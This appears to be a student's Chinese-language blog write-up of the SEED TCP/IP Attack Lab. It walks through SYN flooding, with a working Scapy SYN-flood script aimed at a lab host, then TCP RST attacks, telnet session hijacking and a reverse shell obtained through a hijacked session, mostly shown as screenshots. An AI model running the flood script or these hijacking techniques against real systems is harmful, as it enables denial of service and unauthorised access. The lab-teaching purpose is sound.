【SEED LAB】TCP/IP Attack Lab

一、实验环境。

在这里插入图片描述
实验目标:
• The TCP protocol
• TCP SYN flood attack, and SYN cookies
• TCP reset attack
• TCP session hijacking attack
• Reverse shell
• A special type of TCP attack, the Mitnick attack, is covered in a separate lab

Task 1: SYN Flooding Attack

1.首先查看系统中设定好的SYN队列的长度。
在这里插入图片描述
2.检查是否开启了SYN的cookie策略。
在这里插入图片描述
可以看到已经开启了SYN的cookie策略,需要进行关闭。
在这里插入图片描述
3.使用$netstat -nat命令检查当前服务器连接状态。
在这里插入图片描述
4.编写攻击代码。

#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
   pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
   pkt[TCP].sport = getrandbits(16) # source port
   pkt[TCP].seq = getrandbits(32) # sequence number
   send(pkt, verbose = 0)

5.查看结果,结果显示攻击成功,10.9.0.1与10.9.0.5处于半开连接,同时telnet10.9.0.5失败。
在这里插入图片描述
在这里插入图片描述
原因:这就是SYN cookie机制的作用:它在接收到客户端的SYN包时,不立刻为连接分配资源,而是根据SYN包计算一个cookie值作为SYN ACK包的初始序列号
若客户端正常返回ACK包,则根据包头信息计算cookie值,与其确认序列号对比,若验证通过则分配资源并建立连接;若验证不通过或没有收到第三个ACK包,则不会为非正常的连接分配资源
这一机制保证了在遭受SYN洪泛攻击时,受害者主机的半开连接队列的资源不会被耗尽,从而能接受观察者主机的正常连接。

Task 1.2: Launch the Attack Using C

1.使用给定的C语言代码。
在这里插入图片描述
2.运行并查看结果
在这里插入图片描述

在这里插入图片描述
3.原因分析。
与python程序的差别在于发送SYN包的速度足够快,所以没有出现python程序中可能出现的问题。

Task 1.3: Enable the SYN Cookie Countermeasure

打开SYN cookie后可以正常连接。
在这里插入图片描述

Task 2: TCP RST Attacks on telnet Connections

在这个任务中,您需要从虚拟机启动TCP RST攻击来中断容器A和B之间的现有telnet连接。为了简化实验,我们假设攻击者和被攻击者在同一个局域网,即攻击者可以观察到A和B之间的TCP流量。
1.首先进入10.9.0.6的容器进行telnet10.9.0.5,并使用wireshark进行抓包。
在这里插入图片描述
在这里插入图片描述
2.编写代码。
在这里插入图片描述
3.查看结果
在这里插入图片描述

Task 3: TCP Session Hijacking

在这个任务中,您需要演示如何劫持两台计算机之间的telnet会话。您的目标是让telnet服务器运行来自您的恶意命令。为了简化任务,我们假设攻击者和受害者在同一个局域网。
1.与上一个任务一样,需要进入10.9.0.6的容器进行telnet10.9.0.5,并使用wireshark进行抓包。
在这里插入图片描述
2.编写代码
在这里插入图片描述
3.查看结果
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现已经无法在其中键入命令。光标被锁死。

Task 4: Creating Reverse Shell using TCP Session Hijacking

在TCP会话劫持攻击中,攻击者不能直接在受害机器上运行命令,因此他们的任务是通过会话劫持攻击来运行一个反向shell命令。
1.首先在Attacker中开启监听9090端口,从Server中反射回的shell会通过9090端口返回回来。
此处nc命令的使用是表示在Attacker中开启的是9090端口,也就是相当于启动了一个tcp服务,此服务监听了从9090端口输入进来的内容。
在这里插入图片描述
2.与上一个任务一样,需要进入10.9.0.6的容器进行telnet10.9.0.5,并使用wireshark进行抓包。
在这里插入图片描述
在这里插入图片描述
3.编写代码。
在这里插入图片描述

4.查看结果。
在这里插入图片描述
监听窗口劫持到了shell。
在这里插入图片描述
已经建立连接。
在这里插入图片描述
在Client中由于会话被劫持,已经不能再输入其他的命令了。输入命令也会没有反应。
在这里插入图片描述

  • 3
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值